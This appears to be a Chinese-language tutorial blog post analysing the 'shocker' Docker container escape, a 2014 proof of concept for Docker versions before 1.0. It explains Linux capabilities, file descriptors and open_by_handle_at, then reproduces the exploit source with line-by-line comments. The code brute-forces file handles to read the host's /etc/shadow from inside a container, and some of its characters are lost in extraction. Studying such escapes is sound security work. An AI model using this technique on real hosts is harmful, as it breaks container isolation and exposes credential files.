Docker 容器逃逸案例分析
本文参考自《Docker 容器与容器云》
这个容器逃逸的 case 存在于 Docker 1.0 之前的绝大多数版本。
目前使用 Docker 1.0 之前版本的环境几乎不存在了,这篇分析的主要目的是为了加深系统安全方面的学习。
本案例所分析的 PoC 源码地址:shocker.c
1. 预备知识 1.1 Linux Capability尝试用较为简单的话来说明 Linux 中 Capability 的概念。
为了解决在某些场景下,普通用户需要部分 root 权限来完成工作的问题。Linux 支持将部分 root 的特权操作权限细分成具体的 Capability,如果将某个 Capability 分配给某一个可执行文件或者是进程,即使不是 root 用户,也可以执行该 Capability 对应的特权操作。
1.2 Unix 系统文件操作原理 1.2.1 proc 与 user 结构体以 UNIX V6 为基础进行说明,目前主流的 Linux 版本文件系统的实现原理与 UNIX V6 差别不大。
Unix 系统中与某一个进程密切相关的有两个结构体,它们是 proc 结构体和 user 结构体。
proc 结构体中保存了进程状态、执行优先级等经常需要被内核访问的信息,因此由 proc 结构体构成的数据 proc[] 是常驻内存的。
/* * Filename: proc.h struct proc { // 进程当前状态 char p_stat; // 标识变量 char p_flag; // 执行优先级 char p_pri; // 接收到的信号 char p_sig; // UID char p_uid; // 在内存或交换空间中存在的时间,单位秒 char p_time; // 占用 CPU 的累积时间,单位时钟 tick 数 char p_cpu; // 用于修正执行优先级的补正系数,默认 0 char p_nice; // 正在操作进程的终端 int p_ttyp; // PID int p_pid; // 父进程 PID int p_ppid; // 数据段的物理地址 int p_addr; // 数据段长度 int p_size; // 进程进入休眠的原因 int p_wchan; // 使用的代码段 int *p_textp; }
user 结构体中保存了进程打开的文件等信息,由于内核只需要使用当前执行进程的 user 结构体,所以当某一个进程被移至交换空间时, user 结构体也相应地会被移出内存。
proc 结构体中的 p_addr 指向的数据段,其起始部分的内容即为 user 结构体。
由于 user 结构体内容较多就不列出了,其中一个与文件描述符相关的属性是 u_ofile[],会在后面提到。
1.2.2 文件描述符文件描述符是内核为了管理已被打开的文件所创建的索引,是一个非负的整数。
文件描述符保存在进程对应 user 结构体的 u_ofile[] 字段中。
通过文件描述符对文件进行操作涉及到三个关键的数据结构,原理如下图所示:
说明1:
当一个进程启动时,文件描述符 0 表示 stdin,1 表示 stdout,2 表示 stderr,若进程再打开其它文件,那么这个文件的文件描述符会是 3,依次递增。
说明2:
当两个进程打开了同一个文件时(即为图中所示情况),对应到 file[] 中是两个不同的 file 结构体,因此各自拥有独立的文件偏移量,不过指向的是同一个 inode 节点,所以修改的是同一个文件。
说明3:
存在以下几种情况(未必是所有情况,也许存在没有列出的其它情况)会导致两个进程的文件描述符指向同一个 file 结构:
父进程 fork 出了子进程。此时父进程与子进程各自的每一个打开文件描述符共享同一个 file 结构 使用 dup 或是 dup2 函数来复制现有的文件描述符我们知道 Docker 容器的 Namespace 隔离是 Docker Daemon 进程通过调用 clone() 函数,并控制 clone 函数中的 Flag 参数来实现的。我们查阅文档可以发现这一句描述
If CLONE_FILES is set, the calling process and the child process share the same file descriptor table.
说明 Docker Daemon 进程与容器进程共享了文件描述符。
1.3 open_by_handle_at 函数函数原型:
int open_by_handle_at(int mount_fd, struct file_handle *handle, int flags);
函数功能:
引自 Linux 手册
The open_by_handle_at() system call opens the file referred to by handle.
The mount_fd argument is a file descriptor for any object (file, directory, etc.) in the mounted filesystem with respect to which handle should be interpreted.
The caller must have the CAP_DAC_READ_SEARCH capability to invoke open_by_handle_at().
译:
open_by_handle_at() 用于打开 file_handle 结构体指针所描述的某一个文件
mount_fd 参数为 file_handle 结构体指针所描述文件所在的文件系统中,任何一个文件或者是目录的文件描述符
Linux 手册中特别提到调用 open_by_handle_at 函数需要具备 CAP_DAC_READ_SEARCH 能力
Docker 1.0 版本对 Capability 使用黑名单管理策略,并且没有限制 CAP_DAC_READ_SEARCH 能力,因而造成了这个容器逃逸 case
file_handle 结构体说明:
struct file_handle { unsigned int handle_bytes; // Size of f_handle int handle_type; // Handle type unsigned char f_handle[0]; // File identifier }
前面两个字段都好理解,关键是 f_handle[0] 字段,它一般都会是一个 8 字节的字符串,并且前 4 个字节为该文件的 inodenumber
另外 CVE-2014-3519 这个漏洞也与 open_by_handle_at() 函数相关,有时间我再去研究一下那个 case
3. "shocker.c" Line-by-Line Explanation分析 shocker.c 所需要的储备知识已经介绍完了。
我在代码中用中文给出了比较详细的说明,下面来看下这段容器逃逸 PoC 代码。
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer * Demonstrates that any given docker image someone is asking * you to run in your docker setup can access ANY file on your host, * e.g. dumping hosts /etc/shadow or other sensitive info, compromising * security of the host and any other docker VMs on it. * docker using container based VMM: Sebarate pid and net namespace, * stripped caps and RO bind mounts into containers /. However * as its only a bind-mount the fs struct from the task is shared * with the host which allows to open files by file handles * (open_by_handle_at()). As we thankfully have dac_override and * dac_read_search we can do this. The handle is usually a 64bit * string with 32bit inodenumber inside (tested with ext4). * Inode of / is always 2, so we have a starting point to walk * the FS path and brute force the remaining 32bit until we find the * desired file (Its probably easier, depending on the fhandle export * function used for the FS in question: it could be a parent inode# or * the inode generation which can be obtained via an ioctl). * [In practise the remaining 32bit are all 0 :] * tested with docker 0.11 busybox demo image on a 3.11 kernel: * docker run -i busybox sh * seems to run any program inside VMM with UID 0 (some caps stripped); if * user argument is given, the provided docker image still * could contain +s binaries, just as demo busybox image does. * PS: You should also seccomp kexec() syscall :) * PPS: Might affect other container based compartments too * $ cc -Wall -std=c99 -O2 shocker.c -static #define _GNU_SOURCE #include stdio.h #include sys/types.h #include sys/stat.h #include fcntl.h #include errno.h #include stdlib.h #include string.h #include unistd.h #include dirent.h #include stdint.h
* 关键函数,用于爆破寻找指定文件的 file_handle 结构体 * param fbd:/.dockerinit 文件描述符,与 /etc/shadow 在同一个文件系统中(已在 1.2.2 中说明) * param *path:爆破目标(本 case 中为 /etc/shadow 文件) * param *ih:爆破起始路径(本 case 中为 / 路径)的 file_handle 结构体 * param *oh:返回参数,用于返回 /etc/shadow 的 file_handle 结构体 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { int fd; uint32_t ino = 0; struct my_file_handle outh = { .handle_bytes = 8, .handle_type = 1 DIR *dir = NULL; struct dirent *de = NULL; // 拿到 / 在 path 中首次出现的位置,返回的是该位置的地址。 path = strchr(path, /); * 递归寻找 /etc/shadow 的 file_handle 结构体 if (!path) { // 递归的结束条件为,已经把 path 中的所有 / (即路径)处理完成 memcpy(oh- f_handle, ih- f_handle, sizeof(oh- f_handle)); oh- handle_type = 1; oh- handle_bytes = 8; return 1; // 跳过本次 / 字符在 path 中的地址 // 用 python 描述就是 path = path[index_of_/:] ++path; fprintf(stderr, "[*] Resolving %s\n", path); if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) 0) die("[-] open_by_handle_at"); // 第一次递归中,dir 变量被赋值为 / 路径 if ((dir = fdopendir(fd)) == NULL) die("[-] fdopendir"); // 第一次递归中,为寻找 / 路径下,/etc 的 inodenumber,并将它复制给 ino for (;;) { de = readdir(dir); if (!de) break; fprintf(stderr, "[*] Found %s\n", de- d_name); if (strncmp(de- d_name, path, strlen(de- d_name)) == 0) { fprintf(stderr, "[+] Match: %s ino=%d\n", de- d_name, (int)de- d_ino); ino = de- d_ino; break; // 由于已经拿到 /etc 的 inodenumber,故可以暴力破解出 /etc 的 file_handle 结构体 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); if (de) { for (uint32_t i = 0; i 0xffffffff; ++i) { outh.handle_bytes = 8; outh.handle_type = 1; // 爆破 /etc 的 file_handle 结构体并赋值给 outh memcpy(outh.f_handle, ino, sizeof(ino)); memcpy(outh.f_handle + 4, i, sizeof(i)); if ((i % (1 20)) == 0) fprintf(stderr, "[*](%s) Trying: 0x%08x\n", de- d_name, i); if (open_by_handle_at(bfd, (struct file_handle *) outh, 0) 0) { closedir(dir); close(fd); dump_handle( outh); // 继续递归查找 /etc/shadow 文件 // 注意此时 path 已经为 etc/shadow,而新的递归起点为 /etc return find_handle(bfd, path, outh, oh); closedir(dir); close(fd); return 0;
// / 路径的 file_handle 结构体,`/` 的 inodenumber 一般为 2 struct my_file_handle root_h = { .handle_bytes = 8, .handle_type = 1, .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
* 在老版本的 Docker 中,容器通过 `lxc-start` 启动,`.dockerinit` 是宿主机上执行 `lxc-start` 命令启动容器时,所指定的配置文件,会在启动容器时被挂载到容器内部。 * 但在当前主流 Docker 版本中,已经将这部分功能移除了,虽然仍然有 `.dockerinit` 文件,不过文件已为空(并且也不是 `proc` 那种存在于内存中的 VFS 对象,真的就是空文件......) * PoC 只是利用这个 `.dockerinit` 文件作为容器内部与宿主机之间的一个桥梁 if ((fd1 = open("/.dockerinit", O_RDONLY)) 0) die("[-] open");
// 调用 find_handle 来爆破寻找目标文件的 file_handle 结构体,从而打开该文件 // h 为返回参数,即 "/etc/shadow" 爆破结果 if (find_handle(fd1, "/etc/shadow", root_h, h) = 0) die("[-] Cannot find valid handle!"); // 输出 "/etc/shadow" 的 file_handle 结构体 fprintf(stderr, "[!] Got a final handle!\n"); dump_handle(
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *) h, O_RDONLY)) 0) die("[-] open_by_handle"); memset(buf, 0, sizeof(buf)); if (read(fd2, buf, sizeof(buf) - 1) 0) die("[-] read"); fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); close(fd2); close(fd1); return 0; }
相关文章
- docker安装wordpress
- 对Docker基础镜像的思考,该不该选择alpine
- Docker Swarm 零基础入门
- Docker镜像实践
- Docker故障案例分析
- ERROR: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon runn
- Docker容器实战三:安装部署
- docker 启动失败:Failed to start Docker Application Container Engine
- 【Docker】基于Rancher快速部署docker容器管理平台
- 「Docker学习系列教程」10-Docker容器数据卷案例
- docker高级篇第二章-分布式存储之实战案例:3主3从redis集群扩容配置
- Docker查看容器命令(docker ps)
- Docker高级篇:docker网络的四种类型
- 【Docker 系列】docker 学习 二,Docker 的常用命令
- 【Docker 系列】docker 学习六,探究一下数据卷容器
- 【Docker 系列】docker 学习十,Compose 编写规则及wp 实战
- 【Docker 系列】docker 学习十一,docker 总结和面试题整理
- 记录Docker使用过程中遇到的难点和问题
- Docker - docker-compose搭建ELK服务
- Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running
- Docker上运行MySQL服务详解架构师
- 使用Docker安装Redis并配置成功(docker安装redis)
- 探索Docker安装Oracle数据库的秘密(docker安装oracle)